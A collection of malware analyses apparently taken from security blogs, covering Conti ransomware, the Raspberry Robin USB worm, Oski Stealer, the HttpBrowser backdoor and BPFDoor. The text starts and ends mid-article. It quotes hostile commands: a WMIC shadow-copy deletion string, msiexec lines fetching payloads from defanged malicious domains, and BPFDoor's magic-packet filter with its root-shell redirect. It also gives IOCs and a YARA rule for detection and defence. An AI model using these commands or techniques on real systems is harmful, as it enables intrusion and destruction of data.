end of the file. Since that buffer is encrypted with a public RSA key, we need the private RSA key to decrypt this. Nonetheless, since they are using a hard-coded public key, if anyone pays the ransom for this Conti version, the private key can be retrieved. It will be simple to write a decrypting tool if that is the case, and all of the samples with this ID will become useless after. This implementation clearly reflects how the Conti group mainly targets big companies instead of aiming to spread the malware to normal computer users. Once a company (or anyone) pays off the ransom, they have to discard all of the samples that use the private key and develop newer samples to spread. ### Delete Shadow Copy with COM Objects Before encrypting, Conti’s main thread calls CoInitializeEx, CoInitializeSecurity, and CoCreateInstance to create a single object of the class IWbemLocator with the specified CLSID 4590F811-1D3A-11D0-891F-00AA004B2E24. Next, it checks if the processor architecture of the machine is x86-64. If it is, then Conti will call CoCreateInstance to create a single object of the class IWbemContext with the specified CLSID 674B6698-EE92-11D0-AD71-00C04FD8FDFF. With this Call Context object, it can modify the __ProviderArchitecture to force load the specified provider version which is 64-bit architecture. Using the IWbemLocator object earlier, Conti calls its ConnectServer method to connect with the local ROOT\CIMV2 namespace and obtain the pointer to an IWbemServices object. With this IWbemServices object, it executes the SQL query “SELECT * FROM Win32_ShadowCopy” to retrieve an enumerator of all the shadow copies stored in the local server. By enumerating through this information, Conti extracts the ID of each shadow copy, adds that to the format string “cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where “ID=’%s’” delete”, and creates a new process to execute. This will eventually delete all the shadow copy storage areas in the computer. ### Network Encryption For the network encryption, Conti calls CreateIoCompletionPort to spawn as many concurrently running threads as there are processors in the system, and these threads wait for a list of network shares to start encryption. The main thread then calls NetShareEnum to get an enumerator to extract information about shared network resources. This scans the system to see if there exist any existing SMB network shares. After getting this “ARP” cache, it will check if the IP addresses of hosts in the list start with “172.”, “192.168.”, “10.”, and “169.”. Since it only cares about encrypting local systems, any other IP address ranges are ignored. It will then scan and look for every share with the name that is not “ADMIN$”, get the full path to the shares, and add it to an array of network shares. After extracting this, it will loop through and call the function to push these share names into the thread struct so the child threads can begin encrypting. If scanning SMB for network hosts fails, Conti will perform just a port scan using CreateIoCompletionPort, GetQueuedCompletionStatus, and PostQueuedCompletionStatus. After this point, the encryption happens the same as the local encryption, with share names being pushed into the shared thread struct for the child processes to encrypt. ## Key Findings Overall, Conti ransomware is a sophisticated sample with many unique functionalities. By sacrificing the tremendous increase in size, the Conti team has implemented a really troublesome string encryption method, which ended up taking me a while to go through and resolve all of the strings. The encryption scheme is a bit boring with a randomly generated key protected by a hard-coded public RSA key. However, the multi-threading encryption is implemented elegantly using a shared structure between all of the threads, which results in extreme encrypting speed. Conti also avoids encrypting large files entirely, so it’s obvious that the malware authors prioritize speed over encrypting quality. With its networking functionality, the ransomware actively looks for available shares on the network to spread its encryption. This mainly targets small business and enterprise fields that use the SMB protocol for file sharing. **NOTE:** For anyone who wants to analyze this sample further, you should set up a folder on your machine and run the ransomware with the command line argument “-p [directory]” to test encryption on that directory only. It’s a pretty neat way to set up a small environment for testing and dynamic analysis that the authors have provided us with, so huge shoutout to them for that! ## YARA Rule ```yara rule ContiV2 { meta: description = "YARA rule for Conti Ransomware v2" reference = "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/" author = "@cPeterr" date = "2020-12-15" rule_version = "v2" malware_type = "ransomware" malware_family = "Ransom:W32/Conti" tlp = "white" strings: $str1 = "[email protected]" $str2 = "http://m232fdxbfmbrcehbrj5iayknxnggf6niqfj6x4iedrgtab4qupzjlaid.onion" $str3 = "expand 32-byte k" $string_decryption = { 8a 07 8d 7f 01 0f b6 c0 b9 ?? 00 00 00 2b c8 6b c1 ?? 99 f7 fe 8d 42 7f 99 f7 fe 88 57 ff } $compare_size = { ?? ?? 00 00 50 00 } condition: all of ($str*) and $string_decryption and $compare_size } ``` ## References - https://twitter.com/Arkbird_SOLG/status/1337565128561225728 - https://twitter.com/VK_Intel/status/1297252264126685185 - https://www.bleepingcomputer.com/news/security/conti-ransomware-shows-signs-of-being-ryuks-successor/ - https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ - https://id-ransomware.malwarehunterteam.com/identify.php?case=2c61281154a1c9df22081099c5c36503a63e9b01 - https://twitter.com/demonslay335/status/1339975671817318400
# Suspicious DLL: Raspberry Robin? TEHTRIS threat analyst team was following a new threat that raises lots of questions. Seeing the recent analysis published by RedCanary, we decided to publish our analysis to continue what they started: raising awareness about this threat and bringing visibility to this malware. We decided to keep the name Raspberry Robin to facilitate security researcher job. Most of our sample date from April/May 2022. We don’t know yet if the threat is targeted toward some companies/sectors but in most cases, the industrial and service provider sectors were impacted. Moreover, it is recommended for everyone to monitor that threat. This threat seems to propagate like a worm. We haven’t seen proof of human activity at any stage during the analysis (for instance, searching for credential, data, lateral movement). In every case, the entry point was always an infected USB key with a LNK file inside. ## Initial Access LNK files are “shortcuts” for applications, the one present on the Desktop for instance, however, it is also possible to store entire command line (powershell, cmd, …). The attack starts with a LNK file being executed from a USB drive. The naming convention of the LNK file itself seems to mimic the USB drive name as seen in several cases: - E:\Lexar.lnk - D:\KINGSTON.lnk We don’t know yet if the initial click results in human activity or a vulnerability or autorun like functionalities. We don’t know yet how the LNK got on the USB key in the first place. We don’t know yet if the USB keys are purposely built to target some companies (USB keys dropped in a company parking lot) or if it comes from personal employees’ USB keys which were already infected. We haven’t had the chance to put our hands on an infected USB key. We do suspect that other files may exist in the USB key, but we do not have the proof by now. Forensic: It’s possible to find traces of the LNK file in UserAssist keys of the user who executed it. ## First execution: CMD For a majority of our samples, a command involving cmd.exe is executed. The command line is filled with spacing symbols (more than 200): ^I (tabulations), $ (new line) and regular space. For the sake of visibility, they have been replaced with […]. Below, there are several examples as seen on several cases. Only one of those command lines is executed in each case, but we deemed important to show the variety of them. - “C:\Windows\System32\cmd.exe”[…]/V/R cMd<HiVE.LNk:sb - “C:\Windows\System32\cmd.exe”[…]/V/R !COmsPEc!<qjM.cHK - “C:\Windows\System32\cmd.exe” /r[…]cMd<qJm.cHK The aim of the command seems to execute the command included in the file after the “<”. We haven’t got our hand on one of those files, but we know: - /R is the same as /C, probably to evade detection - /V is for allowing the usage of “!” instead of “%” for environment variable. !comspec! is an environment variable pointing to cmd.exe full path (C:\Windows\system32\cmd.exe for instance). - In some cases, there is a probable evidence of ADS (Alternate Data Stream) usage as could be seen in the first example after the “:”, probably to conceal the malicious content. ADS is a feature of NTFS filesystems only. - The usage of lower/upper case letter is aimed at hindering detections. Those command lines spawn two processes: an Explorer and a MSIExec. ## Explorer & MSI Example of the Explorer: - exPLoREr KINgSTON - ExplOrEr "VICTOR" For now, we can only guess on the goal of the explorer. Given the meddling of lower/upper cases, it’s probably a voluntary action from the attacker. The command line opens the file explorer in the drive, so it’s maybe to show the end-user that something happened: even if it’s a human name, we guess it’s the USB KEY name. Example of the MSIExec: - MsIExEc -Q /I "HttP://jZM[.]pw:8080//?" - MSiEXEC /Q/I "hTtp://b9[.]pm:8080//?" - MsieXec -Q-i "hTtp://0Dz[.]me:8080//?" < REMOVED STRING > looks like S1TOapDC73i, different for each command line. As seen previously, upper/lower case character are mixing, but the way the options are provided changes too because / and – are both acceptable for parameter. For instance: - MsIExEc -Q-i - MsieXec /Q/I - MSiEXEC -Q /I With this command, msiexec can retrieve a payload on the Internet and execute it. It results in the following DLL installation. ## DLL The next stage takes the form of a DLL. As for now, we have seen that each infection has its own instance of the DLL. Our hypothesis is that a new binary is generated for each infection. The DLL installs itself in one of the following directories: - C:\ProgramData\* - C:\Users\\AppData\Local\Temp\* - C:\Program Files (x86)\Common Files\* - C:\Users\\AppData\Local\* - C:\Program Files (x86)\* The final DLL is imbricated in 2 levels of directory, for instance: - c:\program files (x86)\common files\\\.dll - c:\users\\appdata\local\\\.dll - C:\ProgramData\\\.dll < STRING 1> looks like a probable but random program name, such as KeyInfo, TermDriver, … < STRING2 > looks more random, but still probable for an internal program directory like UdrateTask, Assonists, … < STRING3 > looks like random string, with [a-zA-Z0-9] separated with _ like tno8trami_topino.dll, AKAWAhopl_NET87.dll or momr_knte8_54.dll. We observed that in the first level directory (STRING1), there were files from the hard drive (dll, bin, pptx, exe, …) that were being copied here. As the creation time and access time were identical (even if it’s possible that they have been modified), we suppose it’s to mimic a normal program repository, with all kinds of binaries, because a directory in ProgramData\Program Files with nothing inside is suspicious. All the previous steps were conducted as the user responsible for plugging the USB Key and it’s the same for this DLL. As seen previously, the DLL seems to follow a naming pattern, but it’s not a reliable means of detection because divergences have been seen. The DLL is launched with a rundll32 in most observed cases (but regasm has been seen used in a minority of cases): - C:\WINDOWS\SysWOW64\RUNDLL32.EXE C:\ProgramData\\\.dll - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /silent /u “C:\Program Files (x86)\Common Files\\\.dll” < STRING4 > is the DLL entry point, it looks like < STRING3 >, a random string, with [a-zA-Z0-9] separated with _. The DLL is launched by a scheduled task: - \Microsoft\Windows\RemoteApp and Desktop Connections Update\ There are some legit scheduled tasks that start the same up to “update”, however < STRING5 > is either a random string with [a-zA-Z] or a made-up program name like System.Windows.Orez. We don’t know yet the method used to add the scheduled task. ## Conclusion We don’t have information about the goal or the target of the attacker behind this attack, however the threat has been detected in a wide number of countries from all around the world. We strongly advise everyone to search for those IoCs (domain names, scheduled tasks, command line matching the one observed, …) and remediate the contaminated computers as soon as possible. We will update the article should we have any new element. ## IOC **DLL Sha256:** 1b7bb5278ea1bb8a1da525e035f4df3a4f8ea269967c40575f8bc71b896f8054 **Domains:** - 3h[.]WF - v0[.]cx - F0[.]tEL - B9[.]pm - K5m[.]co - P9[.]TEL - Oj8[.]eU - 6y[.]Re - 0t[.]yt - kr4[.]xyZ **Suspicious schedule task name:** *RemoteApp and Desktop Connections Update*
# Oski Stealer ## Introduction Oski Stealer is a malware designed to steal sensitive information from infected devices. It targets various applications and services to extract credentials and personal data. ## Features - **Credential Theft**: Captures usernames and passwords from browsers and applications. - **Clipboard Monitoring**: Monitors clipboard for sensitive information. - **Keylogging**: Records keystrokes to gather information. ## Technical Details Oski Stealer is typically distributed through phishing emails and malicious downloads. Once installed, it operates silently in the background, making it difficult for users to detect. ## Prevention To protect against Oski Stealer and similar threats: - Use reputable antivirus software. - Avoid clicking on suspicious links or downloading unknown files. - Keep your operating system and applications updated. ## Conclusion Oski Stealer poses a significant threat to personal and organizational security. Awareness and preventive measures are essential to mitigate the risks associated with this malware.
# A Tale of Two Targets ThreatConnect identifies Chinese targeting of two companies. Economic espionage or military intelligence? It was the best of times; it was the worst of times. While Russian advanced persistent threat (APT) activity against the US and other international organizations has dominated the headlines recently, Chinese APT actors have been active outside the limelight. In June 2016, Chinese APT actors were discovered using a customized implant within the network of a European consumer electronics company that specializes in drone technologies and a U.S. subsidiary of a French energy management company that builds infrastructure for the U.S. government and the Department of Defense. Chinese efforts against the European consumer drone company appear to be economically motivated and represent a deviation from the September 2015 agreement between the U.S. and China to disavow economic espionage. Due to their involvement with the U.S. military, it could be argued targeting the energy management company was for military intelligence and not economic espionage. Using the Diamond Model of Intrusion Analysis, we will start by walking through the technical axis of the attack where we found malware used by multiple Chinese APTs calling back to a domain with the same registrant as those used in the 2015 Anthem and OPM breaches. We’ll pivot to the socio-political axis of the attack, and discuss how the victims fit the targeting profile of at least one Chinese APT – although we are unable to attribute the attack to a specific Chinese APT at this time. ## Capabilities: HttpBrowser Backdoor On June 08, 2016 ThreatConnect identified a malicious executable MD5: 3BEA073FA50B62C561CEDD9619CD8425. This malware is a variant of “HttpBrowser,” a backdoor used by multiple Chinese APTs, including EMISSARY PANDA (aka APT27/TG-3390) and DYNAMITE PANDA (aka APT18/Wekby/TG-0416). Some reports refer to HttpBrowser as the GTalk trojan or “Token Control.” According to TrendMicro, HttpBrowser allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes on a compromised system, similar to other remote administration tools (RATs). Antivirus detection for HttpBrowser is extremely low and typically based upon heuristic signatures. The report also indicates HttpBrowser is not available on underground markets. Several variants of the HttpBrowser backdoor exist; however, in this particular sample beaconing network traffic stands out as the telltale “HttpBrowser/1.0” User-Agent string is replaced with “Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/%lu Firefox/3.0.1”, where %lu is a format modifier that appends an unsigned long numerical data type to the user-agent string. The malware sends system information using the query string “computer=<COMPUTER NAME>&lanip=<LAN IP>&uid=<Unique ID>&os=<OS VERSION>&relay=<RELAY NUMBER>&data=<DATA>”. ## Infrastructure: Adobesys[.]com and a familiar registrant Leveraging ThreatConnect’s WHOIS function, we identified the malware’s hardcoded command and control domain adobesys[.]com was registered by the Chinese domain reseller and mass registrant, li2384826402[@]yahoo[.]com. This email address is infamous for registering domains used in the DEEP PANDA-attributed Anthem and OPM attacks in 2015, and provides additional evidence tying this HttpBrowser activity to Chinese APT actors. Using ThreatConnect’s Farsight Passive DNS integration, we can identify the adobesys[.]com domain was hosted at two IP addresses — 173.231.11[.]24 and 185.92.222[.]81 — while the domain most likely was operational. One other domain, newsoft2[.]com, was hosted at the 185.92.222[.]81 IP during the same timeframe as adobesys[.]com. WHOIS information indicates that newsoft2[.]com was also registered by a Chinese registrant (omyname@gmail[.]com), and its co-location with the malicious adobesys[.]com domain suggests that it may be operated by the same actors behind the HttpBrowser activity. Indicators from this activity have been shared in incident 20151228A: Chinese HttpBrowser Activity Targeting European Companies. ## Victims: Two Targets We provided a lead on the malware and adobesys[.]com to a partner, who collected associated network traffic and worked with us to analyze the activity. In this case, the activity was targeted against only a few companies. We determined the Chinese actors used the “HttpBrowser” backdoor variant to target a control systems engineer in product development at a European consumer drone company. The traffic also helped us identify another target: the U.S. subsidiary of a French energy management company that has contracts with the U.S. Department of Defense and other U.S. government elements to implement energy management and SCADA solutions. Both organizations were alerted to this activity shortly after it was discovered. At this time, we have no indication what, if any, data was stolen from them. ## Adversary: Pondering the PANDAs While we cannot state for certain which Chinese APT is behind this activity, targeting a consumer drone company and energy management company is most consistent with previous EMISSARY PANDA targeting. Both EMISSARY and DYNAMITE PANDA have previously targeted the defense and aerospace industries, among others; however, EMISSARY PANDA is the only one of the two known to have targeted energy companies. According to the Secureworks report, EMISSARY PANDA commonly conducts strategic web compromises (SWCs), also known as watering hole attacks, on websites associated with the target organization’s industry to increase the likelihood of compromising victims with relevant information. EMISSARY PANDA also uses spearphishing emails to target specific victims. At this time we do not know whether SWCs or spearphishing emails were used to target the victim organizations. ## Socio-Political: Discussing Possible Motivations The HttpBrowser sample piqued our interest since the information security community has had a heightened focus on whether or not Beijing is abiding by the September 2015 agreement between U.S. and China to disavow economic espionage. The U.S. subsidiary of the French energy management company looks like an artful dodge. These dual use organizations – those that possess significant intellectual property and are also involved with the U.S. government – present tempting targets for China that could facilitate a variety of espionage efforts. However, China could claim such activity constitutes military espionage and therefore does not violate the agreement between Presidents Obama and Xi from last September. By contrast, targeting the European civilian drone maker looks like a case of economically motivated espionage. The world’s largest and most popular drone manufacturer is China’s DaJiang Innovation Technology (DJI), which currently holds about 70% of the commercial drone market share and was valued at over $10 billion in May 2015. The emerging global market for business services using commercial drones was recently valued at over $127 billion due to the growing applicability of drones across industries including agriculture, mapping, and surveillance. In this instance, China most likely is seeking to quash any competition posed to DJI’s command of the market. Within the command and control traffic we were able to identify that a control systems engineer — with probable access to the European firm’s proprietary drone intellectual property and technical data — was targeted as a part of this activity, which likely further demonstrates the motivation behind the operation. With access to the targeted company’s intellectual property, sensitive communications, and product roadmap, China could provide its favored companies with economic advantages such as: 1. Integrating competitors’ unique or proprietary capabilities: Many commercial drones rely on custom software for capabilities such as stabilization, tracking, and GPS. Stealing and integrating competitors’ technologies would lessen any advantage that competitors would have over Chinese drones. 2. Preempting competitors’ innovations: Leveraging compromised intellectual property on drone innovations could allow Chinese companies to advance their own product lines beyond what competitors plan to introduce in future products. 3. Preempting financial or pricing moves from competitors: In an industry where price wars and gouging can have a significant impact on the competition, having the inside scoop on how your competitors plan to price their drones can provide an upper hand in attempting to undercut them and steal market share. 4. Understanding competitors’ business and development plans or bid efforts: Insider information on how competitors plan to expand their business, augment manufacturing, market their product, or bid contracts, can all help Chinese drone companies gain an advantage over their competitors. ## Economic Espionage Evolution? While Chinese cyber-enabled economic espionage may be less pronounced, it almost certainly hasn’t ended and likely has evolved to help solidify leading market shares. In some ways, solidifying the dominant Chinese firm in a market feels like the next chapter in economic espionage. The overarching storyline of China’s economic espionage has been targeting strategic industries and allowing China to catch up with established champions. Chinese APT efforts against American Steel manufacturers likely facilitated the rise in Chinese world steel production from about 15% in 2000 to 50% in 2015. China may be attempting to avoid the ire of the U.S. government as it targets organizations that are headquartered elsewhere. Furthermore, China may also be attempting to be more efficient as it focuses collection on organizations that meet multiple intelligence requirements. Targeting such organizations could allow China to explain away their activity as non-economic espionage, thereby adhering (with their fingers crossed) to the Rose Garden agreement.
# BPFDoor - An Evasive Linux Backdoor Technical Analysis Recently Kevin Beaumont revealed a new evasive backdoor targeting Linux associated with the Chinese Red Menshen threat actors. In his article, he reveals that this backdoor has been operating globally for many years with potentially thousands of instances already deployed. The backdoor has also been noted by investigators at PricewaterhouseCoopers in their latest Cyber Threat Intelligence Retrospect Report. The source for this backdoor was posted anonymously, and Sandfly researchers are able to provide the following in-depth technical analysis. At a high level, it does the following: - Goes memory resident and deploys anti-forensics and evasion to hide. - Loads a Berkeley Packet Filter (BPF) sniffer allowing it to efficiently watch traffic and work in front of any locally running firewalls to see packets (hence BPFDoor). - Upon receiving a special packet, it will modify the local firewall to allow the attacker IP address to access resources such as a spawned shell or connect back bindshell. - Operations are hidden with process masquerading to avoid detection. While the malware takes steps to evade casual observation, it is easily seen if you know where and how to look. We'll review the above and provide detection tips. ## Source Build Size and Compatibility The BPFDoor source is small, focused, and well written. While the sample we reviewed was Linux specific, with some small changes it could easily be ported to other platforms (a Solaris binary reportedly exists). BPF is widely available across operating systems, and the core shell functions would likely work across platforms with little modification. The dynamically linked binary is small at about 35K on Ubuntu: ``` -rwxr-xr-x 1 root root 34952 May 11 00:03 bpfdoor ``` Statically linked, it would grow to about 1MB, but the dynamically linked version would likely work on most modern Linux distributions. Cross-compiling for various CPUs is also possible, so this implant would likely work on embedded Linux devices as well. ## Implant Operation Steps The binary itself just needs to be downloaded onto the victim and run. It doesn't matter how or where it gets to the host as it takes care of moving itself to a suitable area once run to remain resident. However, the binary does need root permissions to run. When run, the binary has an initialization sequence as follows: 1. Copy binary to the /dev/shm directory (Linux ramdisk). 2. Rename and run itself as /dev/shm/kdmtmpflush. 3. Fork itself and run fork with "--init" flag which tells itself to execute secondary clean-up operations and go resident. 4. The forked version timestomps the binary file /dev/shm/kdmtmpflush and initiates packet capture loop. 5. The forked version creates a dropper at /var/run/haldrund.pid to mark it as resident and prevent multiple starts. 6. The original execution process deletes the timestomped /dev/shm/kdmtmpflush and exits. 7. The forked version remains resident and monitors traffic for a magic packet to initiate attacker operations such as a bindshell. ## Persistence The implant itself has no persistence mechanisms as it is highly focused on a single task. Persistence would need to be initiated by the attacker in some other way such as rc or init scripts or scheduled tasks such as with crontab. The initial report referenced above indicates that persistence scripts have been found. The implant uses /dev/shm on Linux. This is a ramdisk and is cleared out on every reboot. For persistence reasons, the implant will need to be somewhere else on the host to survive reboots or be inserted again remotely. Incident response teams that find this implant operating should assume the real binary is somewhere else on the file system. Check all system boot scripts for unusual references to binaries or paths. ## Timestomping The binary copies itself to /dev/shm/kdmtmpflush which is only in RAM and clears out every reboot. The interesting part of the implant is that it sets a bogus time to timestomp the binary before deletion. The relevant code is below: ```c tv[0].tv_sec = 1225394236; tv[0].tv_usec = 0; tv[1].tv_sec = 1225394236; tv[1].tv_usec = 0; utimes(file, tv); ``` The date is set to 1225394236 seconds from epoch which translates to: Thursday, October 30, 2008 7:17:16 PM (GMT). We did some searches to see if this date has any significance but didn't see anything obvious. It could have some significance to the author or could be random. The interesting part about this is the timestomp happens by the forked process before the main process tries to delete the binary. We assume this is a failsafe mechanism. If the implant should fail to load and not delete itself from /dev/shm/kdmtmpflush, then the file left behind will have an innocuous looking time on it that masks when it was created. It would also make incident response harder if you are looking for recently created files (this one looks like it was created 14 years ago). ## PID Dropper The implant creates a zero-byte PID file at /var/run/haldrund.pid. This file is deleted if the implant terminates normally, but if there is a problem such as a hard shutdown or crash, the file may be left behind. The implant will not start if this file is present as it is used to mark that it may already be running. ## Binary Deletion After the binary starts, it deletes itself making recovery harder. However, recovering a deleted process binary on Linux is trivial once it is running. But the main thing deletion does is allow the binary to avoid detection by malware scanners that rely on file scanning. The binary is simply not on the disk to be scanned, and if the main binary is hidden/encrypted on the device for persistence, it would be very hard to find. However, on Linux, a deleted process binary is extremely suspicious. If you search for any kind of process with a deleted binary, then it stands out: ``` ls -alR /proc/*/exe 2> /dev/null | grep deleted ``` If you are using Sandfly to protect your Linux systems, you will have received multiple automated alerts about a suspicious binary running. The red arrow shows that the process is masquerading as something else. In general, any process deleting its binary after running is going to be malicious. ## Masquerading The binary masquerades its name by selecting from one of 10 names randomly: - /sbin/udevd -d - /sbin/mingetty /dev/tty7 - /usr/sbin/console-kit-daemon --no-daemon - hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event - dbus-daemon --system - hald-runner - pickup -l -t fifo -u - avahi-daemon: chroot helper - /sbin/auditd -n - /usr/lib/systemd/systemd-journald The names are made to look like common Linux system daemons. The implant overwrites the argv[0] value which is used by the Linux /proc filesystem to determine the command line and command name to show for each process. By doing this, when you run commands like `ps`, you will see the bogus name. This masquerading tactic has been around for a while. While it works, the real process name is still visible inside Sandfly with the masqueraded versions also showing. This kind of difference in real process name vs. the command line values indicates there is a problem. If you find a suspicious process ID (PID), you can quickly investigate what the real name may be by going to `/proc/<PID>` and doing a simple `ls` command: ``` cd /proc/<PID> ls -al ``` You will see the exe link which will be pointing to the real binary location which can confirm at least what the binary was called when started. Also, you'll see the timestamp on the file is when the binary was started which can help bracket the time of intrusion. Linux also helpfully labels the binary as "(deleted)". ## Environment Wipe The last thing the implant does before going fully resident is wipe out the process environment. When you start a process on Linux, it stores a lot of useful forensic information in `/proc/<PID>/environ`. This area can often reveal useful information such as SSH connections that started the process, usernames, etc. The environment wipe the implant uses is interesting because it wipes out `envp[]` (third argument to main() which is where environment variables are passed in as an array in Linux). The end result is that the implant leaves the environment completely blank which can happen under some normal circumstances, but usually not. Below we see the fake dbus implant and the real dbus on the same box. The real dbus environment has some data with it. A completely empty environment is unusual for normal processes. ## BPF Filter Activation and Analysis Once the implant has done its anti-forensics and evasion housekeeping, it goes into the packet capture loop. The packet capture function loads a BPF filter (hence the name). BPF is a highly efficient way to filter packets coming into a system which massively reduces CPU load by preventing all packets from needing to be analyzed by the receiver. It effectively operates as a very efficient pre-filter and only passes likely valid packets for review to the implant. With BPFDoor, they have taken a BPF filter and converted it to BPF bytecode. This keeps the implant small and less reliant on system libraries that may need to parse a human-readable BPF filter, and allows for filters that the normal expression syntax cannot represent. We have reverse-engineered the bytecode below to show you what it is doing. It does basically two things: - Grabs either an ICMP (ping), UDP, or TCP packet. - Sees if it has a magic data value. If not, then reject. The commented assembly and pseudocode is here: ```assembly l0: ldh [12] // A = halfword from offset 12 [Ethernet: EtherType] l1: jeq #0x800, l2, l29 // if EtherType==IPv4 goto l2; else goto l29 l2: ldb [23] // A = byte from packet offset 23 [IPv4: Protocol] l3: jeq #0x11, l4, l9 // if Protocol==UDP goto l4, else goto l9 l4: ldh [20] // A = IPv4 flags+fragment offset l5: jset #0x1fff, l29, l6 // ...if fragmentation offset != 0, goto l29 l6: ldxb 4*([14]&0xf) // X = IPv4 Header Length l7: ldh [x+22] // A = halfword from offset X+22... first halfword of UDP datagram data l8: jeq #0x7255, l28, l29 // if A==0x7255 goto l28, else goto l29 l9: jeq #0x1, l10, l17 // if Protocol==ICMP goto l10, else goto l17 l10: ldh [20] // A = IPv4 flags+fragment offset l11: jset #0x1fff, l29, l12 // ...if fragmentation offset != 0, goto l29 l12: ldxb 4*([14]&0xf) // X = IPv4 Header Length l13: ldh [x+22] // A = halfword from offset X+22... first halfword of ICMP data l14: jeq #0x7255, l15, l29 // if A==0x7255 goto l15, else goto l29 l15: ldb [x+14] // A = byte from offset X+14... ICMP Type l16: jeq #0x8, l28, l29 // if ICMP Type == Echo Request (ping) goto l28, else goto l29 l17: jeq #0x6, l18, l29 // if Protocol==TCP goto l18, else goto l29 l18: ldh [20] // A = IPv4 flags+fragment offset l19: jset #0x1fff, l29, l20 // ...if fragmentation offset != 0, goto l29 l20: ldxb 4*([14]&0xf) // X = IPv4 Header Length l21: ldb [x+26] // A = byte from X+26... Assume no IPv4 options so X=20; packet offset 46 = TCP segment offset 12 l22: and #0xf0 // A = A & 0xF0 (high nibble of TCP offset 12 = Data offset = TCP header size in 32-bit words) l23: rsh #2 // A = A >> 2 (this has the effect of multiplying the high nibble by four, e.g A>>4 then A<<2). A now contains number of bytes in the TCP header l24: add x // A = A + X. Adding IPv4 header length + TCP header length. l25: tax // X = A l26: ldh [x+14] // A = halfword from packet offset X+14 (14 is ethernet header, x is IPv4+TCP header, so this offset is first TCP payload byte) l27: jeq #0x5293, l28, l29 // if A==0x5293 goto l28, else goto l29 l28: ret #0xffff // return match l29: ret #0 // return doesn't-match ``` Pseudocode. "return false" means packet doesn't match; "return true" means packet matches. ```c if (EtherType == IPv4) { if (Packet is an additional piece of a fragmented packet) { return false; } else { if (Protocol == UDP && data[0:2] == 0x7255) { return true; } else if (Protocol == ICMP && data[0:2] == 0x7255 && ICMP Type == Echo Request) { return true; } else if (Protocol == TCP && data[0:2] == 0x5293) { return true; } else { return false; } } } else { return false; } ``` To get past the filter, you will need to send the right data in the packet as shown above. The filter rejects most traffic from entering the main packet decoding loop, so the implant will run with very little CPU signature. Packets that make it through the BPF check are quickly checked for a valid password before any further operations take place. ## Packet Capture and Firewall Bypass The relevance of the BPF filter and packet capture is that it is sniffing traffic at a lower level than the local firewall. This means that even if you run a firewall, the implant will see and act upon any magic packet sent to the system. The firewall running on the local host will not block the implant from having this visibility. This is an important point to understand. Further, if you have a network perimeter firewall, but it allows traffic to a host on ICMP, UDP, or TCP to any port, then the implant can see it. Any inbound traffic to the server can activate the magic packet check and initiate a backdoor. For instance, if you run a webserver and lock it down so only port TCP 443 can be accessed, the attacker can send a magic packet to TCP port 443 and activate a backdoor. Same for any UDP packet or even a simple ICMP ping. ## Locating Packet Sniffing Processes Finding a process sniffing packets on Linux by hand is not always obvious. It's just not normal for most people to check for such things, and as a result, something like BPFDoor can remain around for a long time unnoticed. However, with this malware in a wait state loop searching for packets, you can look for traces left under the process stack by viewing `/proc/<PID>/stack`. With BPFDoor, we can see references to function calls in the Linux kernel that indicate the process is likely grabbing packets. You can search the entire `/proc/*/stack` area for any process that is showing packet capture functions like the above: ``` grep packet_recvmsg /proc/*/stack grep wait_for_more_packets /proc/*/stack ``` False alarms with this search are possible, but you can narrow down possible candidates. The above is time-consuming though and not practical in many cases. Instead, we recommend an automated sweep from Sandfly to quickly identify all processes with packet sockets in operation. With this, BPFDoor is immediately found. The packet capture socket in operation shows up easily, and there is no mistaking that this process is reading network traffic. ## RC4 Encryption and Passwords To access the implant, you need not just a magic packet, but also the correct password. The leaked source has some passwords set, but there is no reason to believe these are used in actual deployment. The implant uses RC4 as the encryption layer. RC4 is a very robust cipher for this application and is the only truly secure cipher you can write on a napkin. It's a great choice for small implant code like this. In the case of the implant, we will deduct a few points because they did not throw out the first few kilobytes from the cipher stream which can weaken it, but overall this cipher is a good choice to keep things small and fast. The implant can take an optional password. The password is compared against two internal values. If it matches one value, it will set up a local bindshell backdoor. If it matches another, it will do a reverse bindshell connect-back to the specified host and port. There is a third option though, and that is if no password is specified, then a function is called that sends a single UDP packet with the value "1". This might be some kind of operation check status to show the implant is still running. Relevant code below: ```c if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) { close(sock); return -1; } ``` Note the above is not passed through the RC4 encryption. If you are investigating this on your network, it may be worthwhile looking for single UDP packets with just the data "1" in them and nothing else from many hosts over time to a single host IP (controller). ## Firewall Bypass for Bindshell Backdoor The implant has a unique feature to bypass the host firewall and make the traffic look legitimate. When the magic packet is received by the host, the implant will spawn a new instance and change the local iptables rules to do a redirect from the requesting host to the shell port. For instance, the implant can redirect all traffic from the attacker using TCP port 443 (encrypted web) to the shell. Externally, the traffic will look like TLS/SSL traffic, but in fact, the attacker is interacting with a remote root shell on the system. The steps are as follows if the actor requests the system open a local shell: 1. Implant is listening to all traffic coming to the host regardless of firewall. 2. Implant sees magic packet. 3. Magic packet can contain IP address, port, and password for the attacker. Otherwise, it uses the origin IP address. 4. Depending on the password, the implant will open a local or connect-back backdoor. 5. Implant selects a TCP port sequentially starting at 42391 up to 43391. 6. Implant binds to the first unused port in this range. 7. For local shell, iptables is called to redirect all traffic from attacker host IP from the requested port to the bound port range from the above steps. 8. Attacker connects with TCP to the defined port they requested (e.g., TCP port 443). 9. Traffic from that host is redirected from the port to the shell routing behind the firewall. 10. Observed traffic still appears to be going to the host on a legitimate port, but in fact is being routed to the shell on the host. If this is confusing, then let's look at the shell in action using SSH as our target port. NOTE: We disabled the RC4 encryption in the implant for example purposes to use netcat. The real implant would require the correct password and RC4 encryption layer to see these results. Below we connect to a host on SSH port 22. We get back a normal OpenSSH banner. Then on another window, we send the magic packet on UDP to the host (or TCP or ICMP). The implant sees this packet and that we want to use TCP port 22 as our shell access port. The implant starts a shell on a high TCP port and then redirects the traffic. When we connect again to port 22, instead of SSH, we now get a shell with root access. Here again is the important point: All other users still get SSH. Only the attacker's traffic is redirected to the shell even though it goes to the same SSH port! You'll see also when you connect the value "3458" is sent above. This may be a version identifier for the implant operator. The redirect rules for the shell access are seen below. Here you see that the TCP port 42392 was found available and the shell bound to it. All TCP port 22 traffic from our attacker host (192.168.1.1) is now routed to this shell on this port. 